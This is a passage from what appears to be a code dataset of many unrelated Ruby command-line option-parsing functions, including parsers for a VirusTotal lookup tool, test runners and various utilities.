protected](hash)\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-f FILE', '--search-hash-file FILE', 'Searches each hash in a file of hashes on virustotal.com') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\t@files_of_hashes.push(file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-u FILE', '--upload-file FILE', 'Uploads a file to virustotal.com for analysis') do |file|\n\t\t\t\t\t\t\tif File.exists?(file)\n\t\t\t\t\t\t\t\tputs \"[+] Adding file #{file}\" if @options['verbose']\n\t\t\t\t\t\t\t\[email protected](file)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tputs \"[!] #{file} does not exist, please check your input!\\n\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator(\"Url Options\")\n\n\t\t\t\t\t\topt.on('-s SITE', '--search-site SITE', 'Searches for a single url on virustotal.com') { |site|\n\t\t\t\t\t\t\[email protected](site)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\topt.separator('')\n\t\t\t\t\t\topt.separator('Output Options')\n\n\t\t\t\t\t\topt.on('-j', '--json-output', 'Print results as json to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :json\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-x', '--xml-output', 'Print results as xml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :xml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-y', '--yaml-output', 'Print results as yaml to stdout') do\n\t\t\t\t\t\t\t@options['output'] = :yaml\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--stdout-output', 'Print results as normal text line to stdout, this is default') do\n\t\t\t\t\t\t\t@options['output'] = :stdout\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Advanced Options'\n\n\t\t\t\t\t\topt.on('-c', '--create-config', 'Creates a skeleton config file to use') do\n\t\t\t\t\t\t\tcreate_config\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-d DIRECTORY', '--directory', 'Scans a directory recursively for files and submits the hashes') do |directory|\n\t\t\t\t\t\t\t@options[:directory] = directory\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('-p PROXY', '--proxy-server', 'Uses a specified proxy server') do |proxy|\n\t\t\t\t\t\t\t@options['proxy'] = proxy\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on('--[no-]verbose', 'Print verbose information') do |v|\n\t\t\t\t\t\t\t@options['verbose'] = v\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.separator ''\n\t\t\t\t\t\topt.separator 'Other Options'\n\n\t\t\t\t\t\topt.on('-v', '--version', 'Shows application version information') do\n\t\t\t\t\t\t\tputs \"#{APP_NAME} - #{VERSION}\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\topt.on_tail('-?', '--help', 'Show this message') { |help|\n\t\t\t\t\t\t\tputs opt.to_s + \"\\n\"\n\t\t\t\t\t\t\texit\n\t\t\t\t\t\t}\n\t\t\t\t\tend\n\n\t\t\t\t\tif ARGV.length != 0\n\t\t\t\t\t\topts.parse!\n\t\t\t\t\telse\n\t\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\trescue OptionParser::MissingArgument\n\t\t\t\t\tputs opts.to_s + \"\\n\"\n\t\t\t\t\texit\n\t\t\t\tend\n\t\t\tend", "def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end", "def parse(args = nil)\n\t\t\t\targs ||= {}\n\t\t\t\t# Create options\n\t\t\t\tnoat = [:bool, :action]\n\t\t\t\tsopts = @options.each_value.collect { |option| [option[:long], option[:short], noat.include?(option[:type]) ? GetoptLong::NO_ARGUMENT : GetoptLong::REQUIRED_ARGUMENT] }\n\n\t\t\t\topts = GetoptLong.new(*sopts)\n\t\t\t\topts.quiet = true\n\n\t\t\t\t# Parse option\n\t\t\t\tbegin\n\t\t\t\t\topts.each do |given, arg|\n\t\t\t\t\t\toptname = @options_map[given]\n\t\t\t\t\t\toption = @options[optname]\n\t\t\t\t\t\tvalue = nil\n\n\t\t\t\t\t\t# VALIDATE ARGUMENT DUE TO CASE\n\t\t\t\t\t\tcase option[:type]\n\t\t\t\t\t\t\twhen :string then\n\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\twhen :int then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d+)$/ then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_i(10)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be an integer.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :float then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d*)(\\.(\\d+))?$/ && arg.strip() != \".\" then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_f\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be a float.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :choice then\n\t\t\t\t\t\t\t\tif @options[optname].choices.find_index { |choice| arg =~ choice } then\n\t\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Invalid argument (invalid choice) for option \\\"#{given}\\\".\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :list then\n\t\t\t\t\t\t\t\tvalue = arg.split(\",\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tvalue = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@options[optname][:value] = value\n\t\t\t\t\tend\n\t\t\t\trescue StandardError => exception\n\t\t\t\t\tif exception.message =~ /.+-- (.+)$/ then\n\t\t\t\t\t\tgiven = $1\n\n\t\t\t\t\t\tif exception.is_a?(GetoptLong::InvalidOption) then\n\t\t\t\t\t\t\[email protected](msg: \"Unknown option \\\"#{given}\\\".\", dots: false) if !args[:ignore_unknown]\n\t\t\t\t\t\telsif exception.is_a?(GetoptLong::MissingArgument) then\n\t\t\t\t\t\t\[email protected](msg: \"Option \\\"-#{given}\\\" requires an argument.\", dots: false)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](\"Unexpected error: #{exc.message}.\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# SET OTHER ARGUMENTS\n\t\t\t\t@args = ARGV\n\n\t\t\t\t# CHECK IF HELP WAS REQUESTED\n\t\t\t\tif self.provided?(\"help\") && !args[:ignore_help] then\n\t\t\t\t\tself.print_help\n\t\t\t\t\texit(0)\n\t\t\t\tend\n\n\t\t\t\t# NOW CHECK IF SOME REQUIRED OPTION WAS NOT SPECIFIED OR IF WE HAVE TO EXECUTE AN ACTION\n\t\t\t\t@inserted[:name].each do |key|\n\t\t\t\t\toption = @options[key]\n\n\t\t\t\t\tif option[:required] == true && option[:value] == nil then\n\t\t\t\t\t\[email protected](msg: \"Required option \\\"#{option[:name]}\\\" not specified.\", dots: false)\n\t\t\t\t\telsif option[:value] == true && option[:type] == :action then\n\t\t\t\t\t\toption.action.call\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def setup_options\n parser = OptionParser.new do |o|\n o.banner = 'Usage: bundle exec qpush-server [options]'\n\n o.on('-c', '--config PATH', 'Load PATH for config file') do |arg|\n load(arg)\n Server.log.info(\"* Server config: #{arg}\")\n end\n\n o.on('-h', '--help', 'Prints this help') { puts o && exit }\n end\n parser.parse!(@argv)\n end", "def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--unit', 'Execute frontend unit-tests') do |opt|\n test_configuration[:unit] = opt\n end\n\n opts.on('--e2e', 'Execute frontend end-to-end tests') do |opt|\n test_configuration = create_default_test_configuration\n test_configuration[:e2e] = opt\n end\n\n opts.on('--blc', 'Execute broken link checks') do |opt|\n test_configuration[:blc] = opt\n end\n\n #\n # e2e and broken link testing commandline options\n #\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('--verbose', 'Verbose output for debugging') do |opt|\n bind_environment_variable('RHD_VERBOSE_OUTPUT', 'true')\n test_configuration[:verbose] = opt\n end\n\n #\n # e2e commandline options\n #\n opts.on('--browser BROWSER', String, 'The driver to use when running the tests. [default=chrome]') do |browser|\n check_supported_browser(browser)\n test_configuration[:browser] = browser\n end\n\n opts.on('--use-browserstack', 'Run the specified test type using Docker') do\n test_configuration[:browserstack] = true\n end\n\n opts.on('--browser-count BROWSER_COUNT', String, 'The number of browsers to launch when running the tests with Docker [default=2]') do |browser_count|\n test_configuration[:browser_count] = browser_count.to_i\n end\n\n opts.on('--reporters REPORT', String, 'Type of report you wish to generate. Will mostly be used for Jenkins config, i.e. junit report') do |report|\n test_configuration[:report] = report\n end\n\n opts.on('--cucumber-tags CUCUMBER_TAGS', String, 'The cucumber tags to use') do |cucumber_tags|\n test_configuration[:cucumber_tags] = cucumber_tags\n end\n\n opts.on('--kc', 'Run the KeyCloak e2e tests') do\n test_configuration[:keycloak] = true\n end\n\n #\n # Broken link checking commandline options\n #\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('-s SINGLE_URL', 'test a single URL, outputting the response to the console') do |opt|\n test_configuration[:single_url] = opt\n test_configuration[:base_url] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on('--update-github-status SHA1', String, 'The SHA to report test results for on GitHub') do |sha1|\n test_configuration[:github_sha1] = sha1\n end\n\n opts.on('--profile PROFILE', String, 'Used to determine the git status context for e2e tests') do |profile|\n test_configuration[:profile] = profile\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n bind_github_status_environment_variables(test_configuration[:github_sha1], ENV['rhd_test'].to_s, test_configuration[:profile])\n bind_browser_environment_variables(test_configuration[:docker], test_configuration[:browser], test_configuration) if test_configuration[:e2e]\n build_test_execution_command(test_configuration)\n test_configuration\n end", "def parse!(argv)\n\t\t$log.debug(\"#{self.class}.#{__method__}('#{argv.join(\" \")}'#{block_given? ? ',&block' : ''})\")\n\t\tif (argv.size == 0)\n\t\t\traise OptionParser::InvalidArgument, \"No arguments specified.\"\n\t\tend\n\n\t\t# @options is used to store recognized command-line args\n\t\t@options = Hash.new\n\t\twhile arg = argv.shift\n\t\t\tcase arg\n\t\t\twhen \"-cmd\"\n\t\t\t\t@command = argv.shift\n\t\t\twhen \"-debug\"\n\t\t\t\t$log.level = Logger::DEBUG\n\t\t\t\t$logerr.level = Logger::DEBUG\n\t\t\twhen \"-opt\"\n\t\t\t\t@options[:dataset] = argv.shift\n\t\t\twhen \"-path\"\n\t\t\t\t@options[:path] = argv.shift\n\t\t\twhen \"-target\"\n\t\t\t\t@options[:target] = argv.shift\n\t\t\twhen \"-log\"\n\t\t\t\tlevel = $log.level\n\t\t\t\tlog_path = argv.shift\n\t\t\t\t$log = Logger.new(log_path)\n\t\t\t\t$log.level = level\n\t\t\t\t$logerr = Logger.new(log_path)\n\t\t\t\t$logerr.level = level\n\t\t\telse\n\t\t\t\targv.unshift(arg)\n\t\t\t\tif block_given?\n\t\t\t\t\tunless (argv = yield(argv))\n\t\t\t\t\t\traise OptionParser::InvalidArgument, \"Unknown argument.\"\n\t\t\t\t\tend\n\t\t\t\telse break\n\t\t\t\tend\n\t\t\tend\t\t\n\t\tend\n\t\traise OptionParser::InvalidArgument, \"No command specified.\" unless @command\n\t\tunless (self.class::COMMANDS.include?(@command) && self.respond_to?(@command))\n\t\t\traise OptionParser::InvalidArgument, \"Unknown command '#{@command}' specified.\"\n\t\tend\n\t\treturn argv\n\tend", "def parse arguments\n begin\n @option_parser.parse! arguments\n rescue StandardError => e\n puts @option_parser\n puts\n puts e.message\n exit(-1)\n end\n\n @options\n end", "def parse_cmdline(o)\n cmd_opts = GetoptLong.new(\n ['--cluster', '-c', GetoptLong::REQUIRED_ARGUMENT],\n ['--pool', '-p', GetoptLong::REQUIRED_ARGUMENT],\n ['--end', '-e', GetoptLong::REQUIRED_ARGUMENT],\n ['--help', '-h', GetoptLong::NO_ARGUMENT],\n ['--output', '-o', GetoptLong::REQUIRED_ARGUMENT],\n ['--start', '-s', GetoptLong::REQUIRED_ARGUMENT],\n ['--utc', '-u', GetoptLong::REQUIRED_ARGUMENT],\n ['--verbose', '-v', GetoptLong::OPTIONAL_ARGUMENT],\n ['--version', '-V', GetoptLong::OPTIONAL_ARGUMENT]\n )\n cmd_opts.each do |opt, arg|\n case opt\n when '--cluster'\n o[:cluster] = arg\n when '--pool'\n o[:pool] = arg\n when '--end'\n if check_iso_date(arg)\n o[:end] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--help'\n puts <<-EOF\n#{$PROGRAM_NAME} [OPTIONS]\n\n-c, --cluster: Mandatory argument to depict which cluster the accounting\n information belongs to - is also part of output\n-h, --help: Show this help message\n-o, --output: Place results into this directory\n-v, --verbose: Be more verbose about what is happening\n note, prepending # to ensure it does not mangle output\n-V, --version: Output version string\n\nYou can specify the query range by specifying either\n-u, --utc: Run query for specified UTC date (YYYY-MM-DD)\nor\n-s, --start: start query at UTC date YYYY-MM-DD (start of day, i.e. 00:00:00)\n-e, --end: stop query at UTC date YYYY-MM-DD (end of day, i.e. 23:59:59,\n ignoring leap seconds\n\nPlease note that these -u and (-s/-e) are mutually exclusive and -u\nimplies -s/-e set to the same date.\n\nIf no date is given it will be the previous full UTC day prior to the\nscript's run time (a.k.a. now).\n\nEOF\n exit 0\n when '--output'\n o[:output] = File.expand_path(arg)\n when '--start'\n if check_iso_date(arg)\n o[:start] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--utc'\n if check_iso_date(arg)\n o[:utc] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --utc invalid (given #{arg})\"\n exit 1\n end\n when '--verbose'\n o[:verbose] = 42\n when '--version'\n puts \"This is ldg-accounting-collector version\\n#{VERSION}\"\n exit 1\n else\n STDERR.puts \"unrecognized option #{arg}\"\n end\n end\nend", "def parse_command_line(args)\n opt_parser = OptionParser.new do |opts|\n opts.banner = \"\\n#{banner}\"\n opts.separator <<~HELP_MSG\n\n #{description}\n\n USAGE:\n simp #{snakecase_name} -h\n simp #{snakecase_name} SUB-COMMAND -h\n simp #{snakecase_name} SUB-COMMAND [sub-command options]\n\n SUB-COMMANDS:\n #{subcommand_list}\n\n OPTIONS:\n HELP_MSG\n\n opts.on('-h', '--help', 'Print this message') do\n puts opts, ''\n @help_requested = true\n end\n end\n opt_parser.order!(args)\n end", "def parse(args)\n # The options specified on the command line will be collected in\n # *options*.\n\n @options = CLIOptions.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser, help_info)\n parser.parse!(args)\n end\n\n @cdb_path = args.shift\n if @options.debug\n validate_debug!(@options.debug)\n self.file_logger.add_appenders(Logging.appenders.file(@options.debug))\n end\n\n self.logger.level = 4 - @options.verbose\n\n @options\n end", "def options_parse\n # first, deal with all options\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: #{COMMAND} [options] <cn_tracker_export>\\n\"\n opts.banner += \"Convert CollabNet project tracker artifacts to Pivotal Tracker format\"\n\n opts.on(\"-h\", \"Show this message\") do\n puts opts\n exit\n end\n\n opts.on(\"-v\", \"Display this application's version and exit\") do\n puts \"#{COMMAND} version #{VERSION}\"\n exit\n end\n \n opts.on(\"-o <filename>\", \"Direct output to <filename> rather than the console\") do |filename|\n if File.exists?(filename) && (!File.writable?(filename) || File.directory?(filename))\n puts \"Specified filename '#{filename}' is not writable\\n\\n#{opts}\"\n exit\n elsif !File.exists?(filename) && !File.writable?(File.dirname(filename))\n puts \"Location of specified filename '#{filename}' is not writable\\n\\n#{opts}\"\n exit\n end\n \n @options[:out] = filename\n end\n \n opts.on(\"-t < feature | chore | bug >\", \"The type of story to generate\") do |type|\n unless [ 'feature', 'chore', 'bug' ].include?(type)\n puts \"Type '#{type}' is invalid. Only 'feature', 'chore', or 'bug' are allowed.\"\n puts \"\\n#{opts}\"\n exit\n end\n @options[:story_type] = type\n end\n end\n \n # try parsing options, rescuing certain errors and printing friendly messages\n begin\n opts.parse!\n rescue OptionParser::InvalidOption => e\n puts \"#{e}\\n\\n#{opts}\"\n exit\n end\n \n # now, make sure that there are enough arguments left for required parameters\n case\n when ARGV.length < 1\n puts \"You must specify a CollabNet project tracker export (<cn_tracker_export>)\\n\\n#{opts}\"\n exit\n when !File.exists?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' does not exist\\n\\n#{opts}\"\n exit\n when !File.readable?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' is not readable\\n\\n#{opts}\"\n exit\n when File.directory?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' is a directory, not a file\\n\\n#{opts}\"\n exit\n end\n \n @options[:in] = ARGV[0]\n end", "def parse_options; end", "def parse_options; end", "def parsed_args\n args = Options.new('binnacle - Simple Test and Infra automation Framework')\n args.verbose = 0\n args.runner = false\n args.result_json = ''\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: binnacle [options] <testfile>'\n\n opts.on('-w', '--wide', 'Do not crop the task line') { args.wide = true }\n opts.on('-v', '--verbose', 'Verbose output') { args.verbose += 1 }\n opts.on('-r', '--runner', 'Run the tasks from a file (Internal use only)') { args.runner = true }\n opts.on('--results-json=FILE', 'Results JSON file') do |json_file|\n args.result_json = json_file\n end\n\n opts.on('-h', '--help', 'Prints this help') do\n puts opts\n exit\n end\n\n opts.on('--version', 'Show Version information') do\n puts \"Binnacle #{Binnacle::VERSION}\"\n exit\n end\n end\n\n opt_parser.parse!(ARGV)\n\n if ARGV.empty?\n warn 'Task file is not specified'\n exit EXIT_INVALID_ARGS\n end\n\n args.task_files = ARGV\n args\nend", "def parse_cli\n raise \"Undefined interface for the command line of #{cli.task}\"\n end", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return process_url if url_present?\n opts.help\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-getfacl [options] <object-name> ...\\n\\n Object Store ACL Listing\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def parse(argv)\n begin\n parser.parse!(argv)\n rescue ::OptionParser::InvalidOption\n puts \"smeagol: #{$!.message}\"\n puts \"smeagol: try 'smeagol --help' for more information\"\n exit 1\n end\n return *(argv + [options])\n end", "def get_options\n ARGV.options { |opt|\n opt.banner = \"Usage: ruby #{__FILE__} [options] \"\n\n opt.on(\"--help\", \"What you see right now\"){ puts opt; exit 0}\n\n #Try testing with this\n #ruby __FILE__ -x -c -s test\n opt.on(\"-x\", \"parse arguments and show Usage\") {|@quit|}\n\n opt.on(\"--doc=DIRECTORY\", String, \"Output rdoc (Ruby HTML documentation) into directory\"){|dir|\n system(\"rdoc -o #{dir} #{__FILE__}\")\n }\n\n opt.on(\"--verbose\", \"-v\", \"print intermediate steps to STDERR\"){|@verbose|}\n\n opt.on(\"--schema\", \"-S\", \"Use Schema i.e. XSD rather than XML document\"){|@opt_schema|}\n\n opt.on_tail(\"By default splits data according to opt_filter, \",\n \"Subset plots on #{@opt_subset}. Will not create histograms\")\n\n opt.parse!\n } or exit(1);\n\n if @quit\n pp self\n (print ARGV.options; exit)\n end\n\n rescue NameError => err\n STDERR.puts \"ERROR: #{err}\"\n exit 1\n rescue => err\n STDERR.puts \"ERROR: #{err}\"\n exit 1\n end", "def parse( argv )\n self.data = ::Crate.data_path\n opts = option_parser\n begin\n opts.parse!( argv )\n self.project = argv.shift\n\n if project.nil?\n puts opts\n exit 1\n end\n rescue ::OptionParser::ParseError => pe\n puts \"#{opts.program_name}: #{pe}\"\n puts \"Try `#{opts.program_name} --help` for more information\"\n exit 1\n end\n end", "def setup_options\n @parser.banner = BANNER\n\n @parser.on('-V', '--version', 'display version and exit') { show_version }\n @parser.on('-h', '--help', 'display help and exit') { show_help }\n @parser.on('-f', '--files=[file1.txt file2.txt ...]', Array, 'text files to read') { |o| @options.files = o }\n @parser.on('-n', '--number=NUM', Integer, 'number of results to show [default = 100]') do |n|\n @options.number = n\n end\n @parser.on('-v', '--verbose', 'verbose output') { @options.verbose = true }\n end", "def options args = ARGV, *a, &b\n @p = Parser.new(*a, &b)\n begin\n vals = @p.parse args\n args.clear\n @p.leftovers.each { |l| args << l }\n vals\n rescue CommandlineError => e\n $stderr.puts \"Error: #{e.message}.\"\n $stderr.puts \"Try --help for help.\"\n exit(-1)\n rescue HelpNeeded\n @p.educate\n exit\n rescue VersionNeeded\n puts @p.version\n exit\n end\n end", "def optParse\n OptionParser.new do |o|\n o.on('-v', 'Be more verbose.') { |i|\n self[:verbose] += 1\n }\n o.on('-V', '--version', 'Show version & exit.') { |i|\n puts Meta::VERSION\n exit EX_OK\n }\n o.on('--config NAME',\n \"Set a config name or file\",\n \"(default is #{@conf[:config_name]}).\") {|arg|\n @conf[:config_name] = arg\n }\n o.on('--config-dirs', 'Show possible config locations.') {\n mark = false\n @conf[:config_dirs].each { |idx|\n f = Pathname(idx) + @conf[:config_name]\n if File.file?(f) && !mark\n puts \"* #{f}\"\n mark = true\n else\n puts \" #{f}\"\n end\n }\n exit EX_OK\n }\n\n yield o if block_given?\n o.banner = @conf[:banner]\n\n env = nil\n env = ENV[@conf[:config_env]].shellsplit if ENV.key?(@conf[:config_env])\n\n begin\n [env, ARGV].each { |i| o.parse!(i) if i }\n rescue\n CliUtils.errx EX_USAGE, $!.to_s\n end\n end\n end", "def parse args=ARGV\n\t\t\tOptionParser.new do |opts|\n\t\t\t\t# Setup\n\t\t\t\tversion_path = File.expand_path('../../VERSION', File.dirname(__FILE__))\n\t\t\t\topts.version = File.exist?(version_path) ? File.read(version_path) : ''\n\t\t\t\t# Start of help text\n\t\t\t\topts.banner = 'Usage: tracking [mode]'\n\t\t\t\topts.separator ' display recent tasks'\n\t\t\t\topts.separator ' <task description> start a new task with the given text (spaces allowed)'\n\t\t\t\t# Modes\n\t\t\t\topts.on('-f', '--find', 'display all tasks that match a search query') do\n\t\t\t\t\tdisplay(:query => text_from_args)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-a', '--all', 'display all tasks') do\n\t\t\t\t\tdisplay(:max => :all)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-n', '--number integer', 'display n tasks') do |number_str|\n\t\t\t\t\tdisplay(:max => number_str.to_i)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-r', '--rename', 'rename the last task') do\n\t\t\t\t\tList.rename text_from_args\n\t\t\t\t\tdisplay\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-d', '--delete', 'delete the last task') do\n\t\t\t\t\tList.delete\n\t\t\t\t\tdisplay\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-c', '--clear', 'delete all tasks') do\n\t\t\t\t\tList.clear\n\t\t\t\t\tputs 'List cleared.'\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\topts.on('-h', '--help', 'display this help information') do\n\t\t\t\t\tputs opts\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend.parse! args\n\n\t\t\t# Basic modes (display and add)\n\t\t\tif args.count == 0\n\t\t\t\t# Display all tasks\n\t\t\t\tdisplay\n\t\t\telse\n\t\t\t\t# Start a new task\n\t\t\t\tList.add args.join(' ').gsub(\"\\t\",'')\n\t\t\t\tdisplay\n\t\t\tend\n\t\tend", "def parse_yardopts_options(*args); end", "def parse_arguments\n OptionParser.new do |parser|\n # parser.banner = \"Usage: init.rb -c <integer>\"\n parser.on(\"-c\", \"--count COUNT\", Integer, \"Specify number of uuid's to generate\") do |c|\n @options[:count] = c\n end\n parser.on(\"-f\", \"--file FILE\", \"Specify path to save csv file example -f '/path/to/file.csv'\") do |path|\n @options[:path] = path\n end\n end.parse!\n end", "def parse_options( argv = ARGV )\n oparser = OptionParser.new do | o |\n o.separator 'Input Options:'\n \n o.on( '-i', '--input \"text to process\"', doc( <<-END ) ) { |val| @input = val }\n | a string to use as direct input to the recognizer\n END\n \n o.on( '-I', '--interactive', doc( <<-END ) ) { @interactive = true }\n | run an interactive session with the recognizer\n END\n end\n \n setup_options( oparser )\n return oparser.parse( argv )\n end", "def parse( args )\n opts = OptionParser.new\n opts.banner = 'Usage: webby [options] target [target args]'\n\n opts.separator ''\n\n desired_opts = %[--describe --prereqs --tasks --trace]\n app.standard_rake_options.each do |options|\n next unless desired_opts.include?(options.first)\n opts.on(*options)\n end\n opts.on('-o', '--options [PATTERN]',\n 'Show configuration options (matching optional pattern), then exit.') { |value|\n @command = [:show_options, value]\n }\n\n opts.separator ''\n opts.separator 'autobuild options:'\n\n opts.on('--web-server', 'Start a local web server') {\n cmd_line_options[:use_web_server] = true\n }\n opts.on('--no-web-server', 'Do not start a local web server') {\n cmd_line_options[:use_web_server] = false\n }\n\n opts.separator ''\n opts.separator 'common options:'\n\n opts.on_tail( '-h', '--help', 'show this message' ) do\n @stdout.puts opts\n exit\n end\n opts.on_tail( '--version', 'show version' ) do\n @stdout.puts \"Webby #{::Webby::VERSION}\"\n exit\n end\n\n opts.parse! args\n\n ARGV.replace Array(args.shift)\n args.delete_if do |arg|\n if %r/^[A-Z_]+=/ =~ arg\n ARGV << arg\n next true\n end\n false\n end\n\n args\n end", "def parse(args)\n arg_list = arg_groups(args)\n options = DEFAULT_OPTIONS.dup\n options[:exclude] += default_excludes\n options[:locations] = arg_list.shift\n\n arg_list.reject(&:empty?).each do |set|\n flag, *args = set\n args.map! { |arg| arg.delete(\"/\") } # \"log/\" => \"log\"\n\n case flag\n when '-f', '--flags' then options[:flags] += args\n when '-e', '--exclude' then options[:exclude] += args\n else puts \"Unknown argument: #{flag}\"\n end\n end\n\n options\n end", "def parse_cmd_line\n options = {\n files: [],\n config_file: 'grifter.yml',\n authenticate: true,\n #by leaving environment unset, grift will use GRIFTER_ENVIRONMENT variable if no -e is used on cmd line\n #environment: nil,\n }\n\n optparse = OptionParser.new do |opts|\n opts.banner = %Q|\n Grifter HTTP JSON APIs Client\n example, run a data script: bin/grifter -f script.rb\n example, call a method: bin/grifter <grift method name>\n\n |\n\n opts.on(\"-f\", \"--script=FILENAME\",\n \"specify a script file to run\") { |file| options[:files] << file }\n\n opts.on(\"-d\", \"--script-dir=dir\",\n \"specify a directory of grift scripts, run all of them\") { |dir| options[:files] += Dir[\"#{dir}/**/*.rb\"] }\n\n opts.on(\"-v\", \"--verbose\",\n \"debug logging, see every request and response in detail\") { Log.level = Logger::DEBUG }\n\n opts.on(\"-q\", \"--quiet\",\n \"quiet logging, warnings and errors only\") { Log.level = Logger::WARN }\n\n opts.on(\"-c\", \"--config=FILENAME\",\n \"config filename\") { |fn| options[:config_file] = fn }\n\n opts.on('-e', '--environment=ENVIRONMENT',\n \"environment name\") { |e| options[:environment] = e.to_sym }\n\n opts.on(\"-n\", \"--no-authenticate\",\n \"Do not authenticate\") { options[:authenticate] = false }\n\n opts.on('-l', \"--list\", \"Print each available grift method\") do\n options[:list_grift_methods] = true\n options[:authenticate] = false #no point in authenticating for --list\n end\n\n end\n optparse.parse!\n options\nend", "def parse_options\n @opt_parser = OptionParser.new do |opts|\n opts.banner = \"\"\n\n opts.separator \"patchkit-tools #{@program_name}\"\n\n opts.separator \"\"\n\n opts.separator \"Description:\"\n\n opts.separator opts.summary_indent + @program_description\n\n opts.separator \"\"\n\n opts.separator \"Usage:\"\n\n @program_usages.each do |program_usage|\n opts.separator opts.summary_indent + 